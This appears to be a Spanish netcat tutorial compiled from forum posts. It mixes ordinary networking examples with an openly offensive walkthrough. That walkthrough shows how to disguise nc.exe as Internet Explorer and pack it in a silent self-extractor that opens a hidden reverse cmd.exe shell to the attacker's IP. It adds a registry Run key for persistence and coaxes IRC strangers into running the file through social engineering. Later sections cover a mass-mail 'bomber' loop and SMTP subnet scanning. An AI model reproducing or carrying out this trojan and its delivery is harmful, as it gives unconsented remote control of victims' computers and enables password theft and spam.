net cat

64
Netcat Introducción Es una de las herramientas más potentes y flexibles que existen en el campo de la programación, depuración, análisis y manipulación de redes y servicios TCP/IP. Es un recurso imprescindible tanto para expertos en seguridad de redes como para hackers. Conocida por muchos como "la navaja multiusos de los hackers" es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red. Entre sus funciones; las principales y mas destacadas serían: [*] Crea un socket con el destino indicado si es cliente, o en el puerto indicado, si es servidor. [*] Una vez conectado, envía por el socket todo lo que llegue en su entrada estándar y envía a su salida estándar todo lo que llegue por el socket. Esta simplicidad resulta ser extremadamente potente y flexible; como veremos a continuación sus capacidades tan resaltadas. Las herramientas necesarias para realizar las pruebas no son más que "netcat - bash o equivalente -

Upload: alfonso-zambrano

Post on 04-Jul-2015

216 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Net Cat

Netcat

Introducción

Es una de las herramientas más potentes y flexibles que existen en el campo de la programación, depuración, análisis y manipulación de redes y servicios TCP/IP. Es un recurso imprescindible tanto para expertos en seguridad de redes como para hackers. Conocida por muchos como "la navaja multiusos de los hackers" es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.

Entre sus funciones; las principales y mas destacadas serían: [*] Crea un socket con el destino indicado si es cliente, o en el puerto indicado, si es servidor. [*] Una vez conectado, envía por el socket todo lo que llegue en su entrada estándar y envía a su salida estándar todo lo que llegue por el socket. Esta simplicidad resulta ser extremadamente potente y flexible; como veremos a continuación sus capacidades tan resaltadas. Las herramientas necesarias para realizar las pruebas no son más que "netcat - bash o equivalente - utilidades GNU básicas".

Sintaxis dijo:

nc [-options] hostname port[s] [ports] nc -l -p port [-options] [hostname] [port]

Parámetros

-l: modo ‘listen’, queda a la espera de conexiones entrantes. -p: puerto local -u: modo UDP -e: ejecuta el comando dado después de conectar -c: ejecuta órdenes de shell (hace /bin/sh -c [cadena] después de conectar

Page 2: Net Cat

Ejemplos de implementaciones netcat

Servidor de daytime

Ponemos un servidor que ejecuta date de modo que devolverá todo lo que se le envíe

$ nc -l -p 2000 -e /bin/date

Y en otra consola:

$ nc localhost 2000 dijo:

lun may 23 10:26:48 CET 2008

Chat para dos

Servidor

$ nc -l -p 2000

Cliente

$ nc localhost 2000

Transferencia de archivos

La instancia de nc que escucha recibe el fichero. El receptor ejecuta:

$ nc -l -p 2000 > archivo.recibido

Y el emisor:

$ nc localhost 2000 < archivo

Page 3: Net Cat

Servidor de echo

Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe

$ nc -l -p 2000 -e /bin/cat

Y en otra consola:

$ nc localhost 2000

hola

hola

Shell remota estilo Telnet

Servidor

$ nc -l -p 2000 -e /bin/bash

Cliente

$ nc localhost 2000

Telnet inverso

En esta ocasión es el cliente quien pone el terminal remoto

Servidor

$ nc -l -p 2000

Cliente

$ nc server.ejemplo.org 2000 -e /bin/bash

Page 4: Net Cat

Cliente de IRC

$ nc irc.freenode.net 6667

NOTICE AUTH :*** Looking up your hostname…

NOTICE AUTH :*** Found your hostname, welcome back

NOTICE AUTH :*** Checking ident

NOTICE AUTH :*** No identd (auth) response

NICK anonimo

USER anonimo anonimo anonimo :anonimo

:kubrick.freenode.net 001 nadie :Welcome to the freenode IRC Network anonimo

:kubrick.freenode.net 002 nadie :Your host is

kubrick.freenode.net[kubrick.freenode.net/6661], running version hyperion-1.0.2b

[…]

y a partir de ahí puedes introducir cualquier comando de IRC:

LIST

JOIN #canal

PART #canal

PRIVMSG #canal :mensaje

WHO #canal

QUIT

Cliente de correo SMTP

Podemos usar netcat para enviar correo electrónico por medio de un servidor SMTP,

utilizando el protocolo directamente:

Page 5: Net Cat

~$ nc mail.servidor.com

220 mail.servidor.com ESMTP Postfix

HELO yo

250 mail.servidor.com

MAIL FROM:[email protected]

250 Ok

RCPT TO:[email protected]

250 Ok

DATA

354 End data with <CR><LF>.<CR><LF>

Aviso: Necesito puntines para el truco! .

250 Ok: queued as D44314A607

QUIT

221 Bye

HTTP

Es sencillo conseguir un cliente y un servidor HTTP rudimentarios.

Servidor

$ nc -l -p http -c “cat index.html”

Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox o

Internet explorer.

Cliente

$ echo “GET /” | nc www.google.com 80 > index.html

Page 6: Net Cat

Streaming de audio

Un sencillo ejemplo para hacer streaming de un fichero .mp3:

Servidor

$ nc -l -p 2000 < archivomusica.mp3

y para servir todos los .mp3 de un directorio:

$ cat *.mp3 | nc -l -p 2000

Cliente

$ nc server.example.org 2000 | madplay –

Streaming de Video

Servidor

$ nc -l -p 2000 < pelicula.avi

Cliente

$ nc servidor.dominio.org 2000 | mplayer –

Proxy

Sirva para redirigir una conexión a otro puerto u otra máquina:

$ nc -l -p 2000 -c “nc servidor.dominio.org 22”

La trafico recibido en el puerto 2000 de esta máquina se redirige a la máquina

Page 7: Net Cat

servidor.dominio.org:22. Permite incluso que la conexión entrante sea UDP pero la

redirección sea TCP o viceversa!

Clonar un disco a través de la red

Esto debe ser usado con precaución "cuidado". No lo hagas si no estas seguro.

Es este ejemplo vamos a copiar un pen drive USB que está conectado al servidor a un

fichero en el cliente y después lo vamos a montar para acceder al contenido.

Servidor

$ dd if=/dev/sda1 | nc -l -p 2000

Cliente

$ nc server.example.org 2000 | dd of=pendrive.dump

$ mount pendrive.dump -r -t vfat -o loop /mnt/usb

Ratón remoto

Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El

ejemplo está pensado para Xorg.

Servidor

# nc -l -p 2000 < /dev/input/mice

Cliente

Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda

así:

Section "InputDevice"

Page 8: Net Cat

Driver "mouse"

...

Option "Device" "/tmp/fakemouse"

....

EndSection

$ mkfifo /tmp/fakemouse

$ nc server.example.org 2000 > /tmp/fakemouse

/etc/init.d/gdm restart

Ejemplos de Revisión de puertos

Para revisar los puertos abiertos, se utiliza nc con la opción , -z para solicitar se trate de

escuchar por puertos abiertos, y un puerto o rango de puertos.

Si se quiere obtener una salida más descriptiva, solo es necesario especificar nc -vz y la

dirección IP si se quiere revisar puertos TCP abiertos, o bien nc -vzu para puertos UDP

abiertos, donde -v define se devuelva una salida más descriptiva. En el siguiente ejemplo se

pide al mandato nc revisar los puertos TCP entre el puerto 20 al 25.

nc -vz 127.0.0.1 21-25

La salida de lo anterior devolverá que puertos están abiertos y cerrados.

nc: connect to 127.0.0.1 port 20 (tcp) failed: Connection refusedConnection to 127.0.0.1 21

port [tcp/ftp] succeeded!Connection to 127.0.0.1 22 port [tcp/ssh] succeeded!nc: connect to

127.0.0.1 port 23 (tcp) failed: Connection refusednc: connect to 127.0.0.1 port 24 (tcp)

failed: Connection refusedConnection to 127.0.0.1 25 port [tcp/smtp] succeeded!

Este POST voy a mostrarles algunas de sus diversas funciones que posee este programita con soporte para Windows llamado NETCAT.

Page 9: Net Cat

Bueno para los que ven por primera ves este programa aconsejo que ademas de ver este post busquen en la web sobre esta impresionante herramienta Hacking. NETCAT Se considera como LA NAVAJA SUIZA de los HACKERS, LAMMERS, CRACKERS y Demás

Este programa funciona en DOS y permite obtener una SHELL REMOTA

(o sea un permiso de super usuario que te deja hacer lo que quieras) en

una PC REMOTA (a quien queremos molestar por ej: alguien que te

chorea internet en tu red inalambrica)

Ademas tienen como dije antes cientas de funciones como por ejemplo:

*Estudiar puertos

*Bruteforce en un puerto

*Ejecutar un shell en máquina remota

*Sniffer en un log

*Mandar un archivo a víctimaÇ

*Escuchando por un puerto especifico

Aca podes descargar todo lo que nesecitas

Descarga el NETCAT para Win32: http://rapidshare.com/files/137984002/NetCat.rar

Descarga el miniRelay: http://minirelay.uptodown.com/

Descarga ResHacker: http://resource-hacker.programas-

gratis.net/

1 - TROYANIZANDO NETCAT (Indetectable)

Como ya saben, con netcat puedes tomar una shell directamente o

realizar una conexión inversa indicando mi IP o dirección DNS (para los

que no saben lo que es un DNS… es un tipo de traducción que hace mas

fácil poder encontrar tu PC, por ejemplo la IP 200.32.22.25 sería el DNS

= pagina.cl ).

Page 10: Net Cat

Bueno… primero hay que saber lo que vamos a hacer… la idea principal

será tomar una shell de la PC de cualquier persona de un IRC (Chat).

Bueno, si no saben donde encontrar el icono tratare de dárselos con este

documento XD si no se puede pueden usar cualquier otro icono (puedes

hacerlo sin iconos también pero se verá sospechoso.)

Lo primero es conectarse a un Chat XD y conseguirse a alguna victima

(ojala no lo hagan con sus novias porque si los pillan los van a patear XD

) … una ves que digan.. “esa es mi victimaaaaa!!!” entonces usaremos

algo que se llama ingeniería social y es a través del ingenio propio

hacerse pasar por alguien o hacerse de la amistad de esa persona para

poder obtener lo que queremos, la idea es que hablaremos con el y bla

bla bla de donde eres bla bla bla… cuando termines le dices que otro día

seguimos conversando… si todo va bien ps ya mañana tendrás la

confianza suficiente como para darle un programa que le ayudará en el

mantenimiento de su PC o que simplemente se divierta con un juego XD.

Dejamos de lado el Chat y en la noche nos ponemos a hacer el troyano

de la siguiente forma:

Paso 1: Primero le cambiamos el icono para que sea menos sospechoso

con el ResHacker:

En primer lugar abres el ResHacker y le das en "File/Open" y buscas el

netcat. Después pinchas en acción y luego en "Add a new Resource",

luego se verá la ventana que ves a la derecha y presionas donde dice

“Open file with new resource” (paso 3) para buscar el icono que

teniamos, luego donde dice “Resource Name” Debes escribir la palabra

“ICON” tal como se ve en la foto y para finalizar presionamos en “Add

Resource” y en “File/Save”. Con todo esto te creará un respaldo del

Page 11: Net Cat

netcat original que puedes borrarlo con toda tranquilidad y al refrescar

la pantalla (F5) veras que el netcat tiene el mismo icono de Internet

Explorer XD

Paso 2: renombramos nc.exe y desde ahora se llamará “iexplorer.exe”

XD, luego pinchas el netcat con el botón derecho de tu Mouse y deberá

aparecer algo así (obviamente después de haber instalado el winrar.)

Luego aparecerá el Winrar y empezaremos a crear nuestro troyano:

1.

Donde dice “Nombre del archivo” le escribimos “carnada.exe” (por

ahora), el formato debe ser en “RAR” el método de compresión el mejor

y por último y mas importante “Crear un archivo SFX”, el resto debe

quedas deseleccionado.

2.

En la pestaña “Avanzado” (arriba) debes pinchar el botón llamado

“Opciones SFX” y comenzaremos a configurar nuestro Winrar SFX.

3.

Ahora en “Carpeta de extracción” le diremos que descomprima el netcat

(con nombre de iexplorer) en el directorio = %homedrive%%homepath

%\update , ahora me diran: “Que es esto?!!”… %homedrive% significa

que se descomprimirá dentro de la misma unidad de disco que esté

Windows, o sea comúnmente (no siempre) “C:\” … %homepath%

Page 12: Net Cat

significa “Documents and settings\tu usuario actual” en conclusión se

descomprimirá dentro del directorio raiz del usuario donde es casi el

único lugar donde un usuario sin derechos de administrador puede

sobrescribir, en otras palabras si le hubiese escrito %windir%\system32

pudiera haber tenido fallas al descomprimirse ya que no todos tienen

derecho a ese directorio. Elegí una carpeta llamada update para llamar

menos la atención.

En “Ejecutar tras la extracción” le escribimos esto = iexplorer.exe -d -e

cmd.exe [aca va nuestra ip] 80 , yo le puse la dirección 127.0.0.1 para

pruebas pero ustedes le ponen la ip real que sale a Internet. 80 es el

puerto donde el troyano se conectará con nosotros.

En “Ejecutar antes de la extracción” le escribimos lo siguiente = %windir

%\system32\cmd /c reg add HKcU\Software\Microsoft\Windows\

CurrentVersion\Run /v "iexplorer" /t REG_SZ /d "%homedrive%

%homepath%\update\iexplorer.exe -d -e cmd.exe 127.0.0.1 80" /f > nul

… y ustedes me diran que es eso!!!!... le decimos que ejecute la consola

de comandos CMD y llame a un ejecutable llamado “REG.EXE” el cual se

encargará de agregar nuestra entrada al registro del sistema para que el

troyano arranque solito cada ves que encienda la pc (recordar que

donde dice 127.0.0.1 deben poner la ip de ustedes o en algunos casos

(para los que saben) su DNS… es mas efectivo. (Consultar por el no-ip) y

donde dice >nul significa que la victima no verá mas que un simple

pestañazo del DOS en ves de mostrar todo lo que se está ejecutando.

4.

Acá estamos pidiendo a winrar que no muestre nada mientras se instala

todo esto, asi será mas silencioso, rápido y automatizado.

5.

Page 13: Net Cat

Por último cargamos un icono atractivo para que se vea con el troyano

ya compilado y aceptamos todas las ventanas.

Debería quedar algo así:

o le puse icono de yahoo porque lo voy a probar desde el mismo Chat.

Ahora vamos a crear el programa que nos conectará con la victima, y se

llama “Cliente”

Solo ejecutamos esto y estaremos listos para recibir la conexión de

quien abra la carnada

Y listo ahora solo falta visitar a nuestro amigo del día anterior y decirle

que tienes un juego muy chido o que tienes algo para no se… usa tu

imaginación. En mi caso y entré a una sala de yahoo y como hoy en día

esta muy de moda los booters XD puse en sala que bajaran un

antibooter para que no los pudieran sacar de la sala y les pase un link

con la dirección donde estaba alojado el troyano. En resumidas

cuentas… si alguien cae en tus maldades te debe aparecer esto:

Habrás tomado la shell de otra PC (manejar una shell de otra pc significa

poder controlar el DOS de Windows o la shell de GNU.. es poder

controlar la consola de comandos de la otra persona y a través de eso

puedes subirle archivos, borrarle cosas, darle troyanos que te permitan

ver su escritorio… mirar sus contraseñas volcando el registro en textos y

asíéndoles un “type”… para los que saben un poquitito mas.. talvez

saltar a otras pc con netbios, exploits como el dcom, acceder a

servidores y dominar una red completa y ufff.. a volar la imaginación. Si

no me creen miren estas tres capturas jugando con netcat XD nada

serio:

Page 14: Net Cat

1. El sueño de todo lamer XD :

2. Subiendo RealVnc4 para poder hacer una conexión iversa y mirar el

escritorio de la otra persona:

3. Esto fue un ajuste de cuentas XD:

es mostré como crear un troyano con netcat (indetectable por todos los

antivirus por ahora) también puede hacerse con una conexión directa en

ves de una inversa como la hice acá, así como ya saben hacerlo

Esto es todo y espero poder mostrarles la próxima ves.. como convertir

el Netcat v1.1 en un cliente SMTP para enviar correos automatizados y

temporizados además de servir como cliente FTP con comandos

automatizados sin la necesidad de la intervención de escribir los

comandos desde la consola, también como ponerle contraseña a una

sesión de shell con netcat entre muchas otras cosas mas

2 - TRANSFORMANDO NETCAT EN UN CLIENTE SMTP Y FTP

(mail BOMBER)

Bueno… ahora les mostraré que no es necesario usar el bombermail, el

feeboti, xmass o cualquier pendejada para enviar un correo sin tener

Page 15: Net Cat

que usar telnet. Claro está que hay programas que tienen muchas

funciones como libreta de direcciones, escaneadotes de servidores

SMTP, comprobación de usuarios y otras cosas que nos hacen todo ya

automatizado en una linda ventanita grafica pequeña o tremendas

presentaciones flash como el bomber de dragon XD, pero todo lo que

pueden hacer estos programas… también puede hacerlo tu Netcat v1.1.

Materiales:

Netcat v1.1

Un editor de texto (el block de notas es ideal)

Si se han fijado… enviar un mail desde una consola NT no es muy fácil

porque no viene por defecto algun programa que lo haga como el

comando mail de GNU, pero si obtenemos una shell remota sobre una pc

con netcat… puedes usar el mismo para enviar correos, archivos y lo

que se te de la gana.

Creamos un texto con el block de notas que contenga lo siguiente:

helo [email protected]

mail from: [email protected]

rcpt to: [email protected]

data

From: [email protected]

To: [email protected]

Subject: Provando netcat

Este es mi primer mensaje enviado con netcat

.

Bueno y que es esto en resumidas palabras?:

Helo = nos identificamos

mail from = correo proveniente

rcpt to = correo destino

data = el mensaje en si.

Page 16: Net Cat

Dentro del mensaje decimos que el correo proviene desde

[email protected] para [email protected] con el sujeto:

probando netcat y con el mensaje: “Este es mi primer mensaje enviado

con netcat”. Ahora fíjense de dos detalles muy importantes. Uno es el

espacio en blanco entre la cabecera del mensaje y el mensaje en si

(entre “subset” y “este es mi…”) y segundo el punto al final del

mensaje.

Lo guardamos como queramos, yo elegí guardarlo como “mensaje.txt” y

ejecuté lo siguiente: type mensaje.txt|nc -vv -w 3 127.0.0.1 25 y me

apareció algo como esto:

Puedes ver que todos los comandos que escribimos en el notepad se

volcaron al netcat y se realizó la conexión y el envío automatizado.

Ahora analicemos el comando un poco.

type mensaje.txt|nc -vv -w 3 127.0.0.1 25

type mensaje.txt = decimos que se vuelque el contenido de

mensaje.txt en pantalla

| = decimos que al mismo tiempo ejecute el siguiente comando

nc -vv -w 3 127.0.0.1 25 = decimos que netcat se conecte al host

127.0.0.1 (servidor SMTP) hacia el puerto 25… -w 3 significa que

espere tres segundos antes de enviar el correo para darle tiempo al

servidor de reaccionar… -vv (Very Verbose) significa que te muestre lo

que se está haciendo.

Podemos utilizar comandos como –attach para enviar archivos adjuntos

o crear nuestras propias planillas en texto y con un simple bat…

enviarlos a distintos destinatarios… podemos jugar mucho con este

codigo hasta hacer un enorme bat que recoja el mismo mensaje para

diferentes destinatarios dentro de un texto guardado llamado user a

través del comando “for”. (el spam es delito XD ). Una buena ventaja de

todo esto es que puedes hacer el texto con el comando echo de la

siguiente manera:

Page 17: Net Cat

Echo helo [email protected] > mensaje.txt

Echo mail from: [email protected] >> mensaje.txt

Echo rcpt to: [email protected] >> mensaje.txt

Echo data >> mensaje.txt

Echo From: [email protected] >> mensaje.txt

Echo To: [email protected] >> mensaje.txt

Echo Subject: Provando netcat >> mensaje.txt

Echo. >> mensaje.txt

Echo Este es mi primer mensaje enviado con netcat >>

mensaje.txt

Echo . >> mensaje.txt

O puedes usar el comando for de la siguiente manera:

for /f %%i in (direcciones.txt) do Echo rcpt to: %%i >>

mensaje.txt

y ufff puedes hacer mil cosas como hasta escanear servidores SMTP con

netcat hacienda un:

for /l %%i in (1,1,254) do if errorlevel = 0 nc 1 192.168.1.%%i 25|

find "smtp" && echo 192.168.1.%%i >>escaner.txt

y los que estén dentro del rango de IPs seleccionadas y que respondan

al puerto 25 con un barrer SMTP se escribirá su IP dentro de un texto

llamado scanner.txt… también puedes usar el comando for para volcar

textos con un listado amplio de IPs creados talvez por el dictmake.exe o

el brainscan.exe o con otro bat XD.

Yo puse 127.0.0.1 de servidor en el primer ejemplo porque yo mismo

utilicé un minirelay para poder enviar el correo ya que me dio flojera

buscar un servidor para probar :p

Y al revisar el correo me encontré con mi netcat

Page 18: Net Cat

Ahora esto también sirve para automatizar subidas y descargas de

archivos a un ftp con tu netcat y decir por ejemplo que cada una hora

me respalde mis archivos en mi ftp pero que primero borre los antiguos,

en resumidas palabras seria algo así:

type comando.txt|nc -vv -w 3 127.0.0.1 21

y el commando.txt diría algo así:

user usuario

pass password

dele respaldo.rar

etc etc etc y al final quit

y veras como el netcat entra a tu ftp, borra el respaldo y coloca el

nuevo. Para poder temporizar esto puedes usar un comando muy facil

que me enseñó un muy buen amigo mío (Octhal):

ping 127.0.0.1 -n 2 >nul

Esto equivale a un segundo… o sea para que esto se transforme en una

hora quedaría así:

ping 127.0.0.1 -n 7200 >nul

Con todo esto tu bat debería quedar así:

@Echo off

Cls

:1

Echo Ultima actualizacion: %time% %date%

type comando.txt|nc -vv -w 3 127.0.0.1 21

ping 127.0.0.1 -n 7200 >nul

goto 1

Page 19: Net Cat

Decimos que respalde nuestros archivos y que después de una hora se

haga un goto para hacer un loop. También puedes usar esto para subir

archivos desde una PC tomada con tu shell y ponerles, obviamente tu

como servidor.

Como puedes ver… acá mostré como hacer interactuar el netcat con un

servidor y transformarlo en un anonimail XD o ftp client… también

puedes hacer un consultador SQL, un bot IRC, un cliente tftp… etc etc

etc… es solo cosa de imaginación

La próxima vez les enseñaré como ponerle contraseña a netcat para que

nadie usurpe tus shells con o sin conocimientos de programación.

Hasta la prox.

Descargar en PDF

Video explicativo

3 - PONIENDO UNA CONTRASEÑA A TUS SHELLS

Ahora les demostraré que no es necesario saber programar en C para crear un dispositivo que nos permita entrar en una shell a través de una contraseña.

Lo primero es abrir el block de notas y escribimos lo siguiente:

@echo off if not exist ips.txt (goto 1) else goto 2

:1 Echo ips.txt no existe Echo. pause exit

:2 for /f %%i in (ips.txt) do netstat -n|find "%%i" && CMD Echo Te has desconectado del servidor remoto.

Page 20: Net Cat

Exit

Ahora me diras.. que es esto?!.. tranquilo, después lo explico XD. Ahora crea otro texto llamado “Iniciar servidor.bat” con el siguiente contenido:

start nc -L -d -e index.bat -p 5051

También lo explicaré después… ahora crea otro texto llamado “Detener servidor.bat” con el siguiente contenido:

tskill nc

Luego crea un texto llamado ips.txt y dentro del texto le escribes tu ip y las ip que tu quieres que tengan acceso a esa shell, y por último pon el netcat junto con todo esto en una carpeta guardada por ahí talves en system32 o donde tu quieras pero todo debe estar en el mismo lugar a menos que quieras modificar el codigo fuente del bat. Es hora de dar las explicaciones:

Al abrir el bat llamado “iniciar servidor.bat” ejecutaras el netcat y lo dejaras a escucha de otro bat llamado “index.bat” en el puerto 5051 (a elección), luego si alguien se conecta a tu shell se iniciará netcat y comenzará a leer los comandos del bat y resolverá lo siguiente:

if not exist ips.txt (goto 1) else goto 2 :1 Echo pass.txt no existe Echo. pause exit

Esto significa que si no existe el archivo con las IP, entonces solo se cierra botándote de la shell, si existe entonces procede a hacer el chequeo:

for /f %%i in (ips.txt) do netstat -n|find "%%i" && CMD Echo Te has desconectado del servidor remoto. Exit

Nos fijaremos principalmente en la primera línea de esta frase y

Page 21: Net Cat

analizaremos que %%i se transforma en las ip puestas en el texto llamado “ips.txt” y ejecuta: netstat -n|find "%%i" && CMD lo cual significa que hace un netstat –n mostrando todas las ip conectadas a ti (incluyendo el que está pidiendo la shell) y al mismo tiempo el comando find busca entre todas esas IPs que estan conectadas si coincide alguna con la ip señalada en el texto y si esta aparece ejecuta CMD y si no aparece te bota de la shell (Por eso es recomendable no poner mas que solo tu ip dentro de ese texto porque si hay un usuario logueado entonces todos los demas tendran acceso libre sin autentificación. Y ojala no sea 127.0.0.1 ni tu ip externa porque puede prestarse para confusiones y no servirá de nada todo esto.) El comando tskill nc significa que mata el proceso llamado nc (el comando tskill viene con todos los Sistemas Operativos NT desde Windows Xp con SP2 en adelante o puedes reemplazarlo por otros comandos que destruyan el proceso)

Como puedes ver no fue necesario saber programar en C para ponerle un acceso seguro a tu shell y que nadie mas te la quite. Esto puede ser muy útiles para administradores de pequeñas redes que quieren tener acceso a ciertos puntos de redes desde el servidor o para que nadie mas se meta en la PC de tu novia mas que tu XD.

PARA PROGRAMADORES

Para los programadores en C puedes probar con una sentencia if donde if pass=[loquequieras] un ejemplo:

#include <stdio.h> #include <stdlib.h> main() { int usuario,clave=84262; printf("Introduce la contraseña: "; scanf("%d",&usuario); if(usuario==clave) printf("Acceso concedido!.\n\n"; else exit (1); system("cmd.exe";

Page 22: Net Cat

exit (0); }

Esto se me ocurrió en mis ratos de ocio XD, cuando lo abres te pide una contraseña y si es la escrita en el codigo fuente, ps te da la shell y si no te da una salida limpia.

Listo amigos… hasta aca llego por ahora.. ya es tarde y otro dia continuo… a grandes rasgos quise demostrar que no se necesita ser programador en C o ingeniero en programación para poder ponerle una pequeña contraseña automatica por asi decirlo :p tambien puedes reemplazar las ip por dominios DNS y reemplazar el comando netstat –n por netstat solamente. Tambien puedes hacer cosas mucho mas eficientes y complejas pero la idea es que por ahora todos sin importar sus conocimientos puedan hacer esto.

Descargar en formato PDF Ver video explicativo

Informacion de: foro.elhacker.net

El Autor WHK

Fuente: http://foro.elhacker.net/hacking_basico/jugando_con_netcat-t159799.0.html

Escanear Puertos

Netcat puede ser utilizado como scanner, sus multiples opciones le permiten realizar un gran numero de combinaciones, pudiendo realizar Scannings en Puertos Random, en puertos conocidos, en modo ascendente o descendente, con intervalos de tiempo, utilizando gateways para evitar mostrar la IP fuente del Scanning, etc. Por ejemplo escaneo de los puertos 53 25 21

nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != NKRA localhost [127.0.0.1] 53 (domain): connection refused localhost [127.0.0.1] 25 (smtp): connection refused localhost [127.0.0.1] 21 (ftp): connection refused

Page 23: Net Cat

sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le puede asignarle un rango de puertos:

nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar localhost [127.0.0.1] 53 (domain): connection refused localhost [127.0.0.1] 52 (?): connection refused localhost [127.0.0.1] 51 (?): connection refused localhost [127.0.0.1] 50 (?): connection refused localhost [127.0.0.1] 49 (?): connection refused localhost [127.0.0.1] 48 (?): connection refused etc…

Volvemos con la opcion v (verbose) y la Opcion z (zero i/o) que es usada para scanning, los puertos se lo especificamos al final del IP del host, bien sea individuales separados por un espacio; o por un rango de puertos.

Escuchando por un puerto especifico

nc -lvp 1234 -v cmd.exe

Netcat es un pequeño programa creado para uso de losadministradores de redes (y por supuesto para los Hackers) :), esteproggie fue creado originalmente por Hobbit y porteado a Win95 y NT porWeld Pond de L0pht , tiene mas de un año desde que fue Liberado y muypoco se ha escrito sobre este Programita; Principalmente porque la estructurade sus comandos es poco familiar para el usuario medio. Netcat tiene infinidad de funciones, aunque se deja que sea el usuario quien las averigue :P, y en el archivo de ayuda ponen algunos ejemplitos muy elementales solamente...

         La especialidad de NetCat es el Protocolo tcp/ip, y le dá a lamáquina de windows, cierto poder sobre este protocolo que solo tenía

Page 24: Net Cat

UNIX,  trabaja con lineas de comandos desde MS-DOS (o desde el Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre TCP/IP. El comando principal es nc con su respectiva variable u opción al mas puro estilio Unix.

         Cabe destacar que la información sobre Netcat y sus usosespecificos es bastante limitada; aunque Hobbit en su documento aclara muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado para mas de 1001 vainas...

   Netcat puede   ser encontrado en: http://www.l0pht.com/~weld/netcat

   Netcat en WinX   ==============   Este es el resultado de el comando de ayuda de netcat en una máquina windows

 c:>nc -h

connect to somewhere:   nc [-options] hostname port [ports]listen for inbound:     nc -l -p port [options] [hostname] [port]options:        -d              detach from console, stealth mode

        -e prog         inbound program to exec [dangerous!!]        -g gateway      source-routing hop point, up to 8        -G num          source-routing pointer: 4, 8, 12, ...        -h              this cruft        -i secs         delay interval for lines sent, ports scanned        -l              listen mode, for inbound connects        -L              listen harder, re-listen on socket close        -n              numeric-only IP addresses, no DNS        -o file         hex dump of traffic        -p port         local port number        -r              randomize local and remote ports        -s addr         local source address        -t              answer TELNET negotiation        -u              UDP mode        -v              verbose [use twice to be more verbose]        -w secs         timeout for connects and final net reads        -z              zero-I/O mode [used for scanning]port numbers can be individual or ranges: m-n [inclusive]

  Bien; un analisis rápido de estas variables nos da una idea delpotencial de este pequeño programa y las infinitas posibilidades que nos

Page 25: Net Cat

ofrece el poder manejar conexiones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->

-d  (Modo Stealth o encubierto)    Esta opción desvincula al Programa de la consola, haciendolo trabajar en el BackGround.

-e<prog>  (Ejecuta un programa cuando se conecta)    Puede ser utilizado para ejecutar incluso un Shell tanto en WinX como en *NIX.

-l  (Escuchando conexiones)    Deja a un puerto abierto en espera de una conexión

-L  (lo mismo que anteriormente pero sigue escuchando aún cuando laconexión es cerrada)    Esta opción es incluida en la versión de Weld Pond de L0pth, y es muy util para seguir escuchando en el puerto, a diferencia de -l(que la conexión cerrada termina con el proceso de nc) esta opción -L permite seguir escuchando en el mismo puerto (la rutina de nc -l es reiniciada).

-n   (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene lafacultad de resolver nombres de dominio mediante un DNS Lookup, con esta opción le especificamos que no lo haga, y use solamente direcciones IP.

-o<logfile>  (obtiene un archivo log en Hex de la acción) Genera un Log de las actividades de netcat en código Hexadecimal.

-p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con estaopción el puerto a realizar una acción.

-s<ip addr>  (pegarse a un IP especifico) Netcat puede utilizar IP de una redcomo fuente local.

-t   (Funciona como un pequeño demonio telnet) Con esta opción le especificasa netcat que debe realizar negociaciones telnet.

-u  specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat quetrabaje con protocolo UDP en vez de TCP.

-v   (modo verbose, mas información, se le puede añadir otra -v para masinfo todavia) Bastante util y necesario, sobre todo para estudiar demonios en profundidad y observar todos los detalles en un Sniffing.

-w <segundos> (Especifica un tiempo para terminar) Con esta opción le especificas un

Page 26: Net Cat

tiempo determinado para realizar conexiones .

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitarpatrones lógicos de Scanning.

-g <gateway> (especificar Gateways) Una de las opciones más interesantes de netcat, permite utilizar Routers como "puentes" de conexión.

-G <numero> (Especificar puntos de Routing), Con esta opción podemos crear una cadenaaleatoria de hosts para crear un ruta perdida para tus paquetes (Spoofing). -i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------>

   Netcat en Linux   ===============

   Netcat en una plataforma como Linux se convierte en una utilidadmuy potente, pudiendo ser utilizado en conjunto con lenguajes de programacióncomo Perl y C , o bien desde la propia Linea de comandos del poderoso Shellde Linux mediante Shell Scripts.

